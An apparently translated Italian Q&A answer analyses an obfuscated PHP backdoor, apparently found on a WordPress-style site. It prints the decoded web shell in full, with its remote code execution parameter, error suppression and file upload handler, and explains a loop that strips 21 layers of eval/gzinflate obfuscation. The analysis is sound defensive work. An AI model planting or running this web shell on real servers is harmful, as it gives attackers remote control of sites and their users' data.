Sì, è dannoso.
Questo script ha 20 livelli di eval / deflate offuscamento, ma alla fine decodifica in:
@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;
Ugly! Formattiamolo:
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
print $_GET['r'];
}
elseif (isset($_POST['e']))
{
eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
$data = file_get_contents('php://input');
if (strlen($data) > 0)
print 'STATUS-IMPORT-OK';
if (strlen($data) > 12)
{
$fp=@fopen('tmpfile','a');
@flock($fp, LOCK_EX);
@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
@flock($fp, LOCK_UN);
@fclose($fp);
}
}
exit;
Che cosa abbiamo qui?
Innanzitutto, il parametro r
sembra essere un eco-back allo scopo di rilevare che lo script funzioni. Il parametro e
viene utilizzato per eseguire l'esecuzione di codice in modalità remota, con l'offuscamento di base64 / rot13 sulla richiesta, presumibilmente per annullare le regole minime IDS / WAF. La clausola elseif finale viene utilizzata per i caricamenti di file, in cui qualsiasi operazione di upload di file binari inviata a tale script scriverà il contenuto in un file chiamato tmpfile
. Presumo che in seguito avrebbero utilizzato il parametro e
per eseguire il codice che rinomina il file, probabilmente per caricare una shell più funzionale o sovrascrivere i file esistenti.
Una rapida ricerca su Google per la linea di valutazione genera un carico di risultati sulle installazioni di Wordpress che vengono inchiodate con esso, che sono state poi utilizzate per distribuire malware e spam farmaceutico.
Ok, a causa della grande richiesta, ecco come l'ho decodificato:
In primo luogo, ho sostituito eval
con echo
, quindi ha stampato il contenuto dei dati gonfiati. Questo mi ha dato un altro carico utile che sembrava esattamente lo stesso, tranne che la stringa base64 era diversa. Dopo aver eseguito nuovamente l'interruttore eval
/ echo
, ho continuato a ottenere lo stesso risultato: un'altra eval
, gzinflate
, base64_decode
catena con diversa base64. A questo punto non ero disposto a sedermi e farlo manualmente, perché sarebbe un problema se ci fosse un gran numero di strati. Ho trovato un modo automatico per decomprimerlo.
Ho avvolto il payload iniziale in una stringa, quindi ho utilizzato un ciclo while
per annullare in modo iterativo i livelli di protezione. La condizione del ciclo controlla che la catena di decrittazione sia all'inizio della stringa del codice e, in caso contrario, lascia il ciclo e visualizza il codice. Questo ha due funzioni: primo, se il codice viene solo offuscato da quella catena, ci darà il codice reale. Secondo: se una tecnica di offuscamento diversa viene passata in seguito, si fermerà e restituirà quel codice invece di romperlo.
// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';
$layers = 0;
// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
// replace the eval with a return, so that our eval dumps
// the result of the operation rather than executing it
$code = str_replace('eval(gz', 'return (gz', $code);
// the return now causes the result of gzinflate to be
// placed back into the $code variable.
$code = eval($code);
// keep a count of the number of layers we removed
$layers++;
}
// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";
I risultati:
Unwrapped 21 layers of obfuscation...
@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;
Se vuoi vedere l'output dettagliato con tutti i livelli stampati, l'ho messo su Pastebin .